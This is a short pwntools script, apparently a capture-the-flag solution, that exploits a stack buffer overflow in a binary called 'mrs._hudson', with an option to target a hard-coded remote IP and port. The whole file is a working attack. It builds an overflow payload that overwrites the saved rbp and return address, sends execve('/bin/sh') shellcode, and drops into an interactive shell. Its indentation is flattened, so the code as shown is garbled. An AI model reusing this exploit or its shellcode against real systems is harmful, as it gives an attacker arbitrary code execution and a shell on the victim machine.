```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" Kira / AAA """
from pwn import *
import sys, os
context(arch='amd64', os='linux', log_level='info')

if len(sys.argv) > 1:
if sys.argv[1][0] == 'r': # remote
p = remote('178.62.249.106', 8642)
else:
os.environ['LD_PRELOAD'] = ''
p = process('./mrs._hudson')

# libc = ELF('.')
# elf = ELF('.')
payload = 'A' * 0x70
payload += p64(0x601060 + 0x70) # rbp
payload += p64(0x000000000040066F) # ret
p.sendlineafter('2000.\n', payload)

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload = shellcode.ljust(0x70 + 8, 'A')
payload += p64(0x601060) # ret
p.sendline(payload)

p.interactive()
```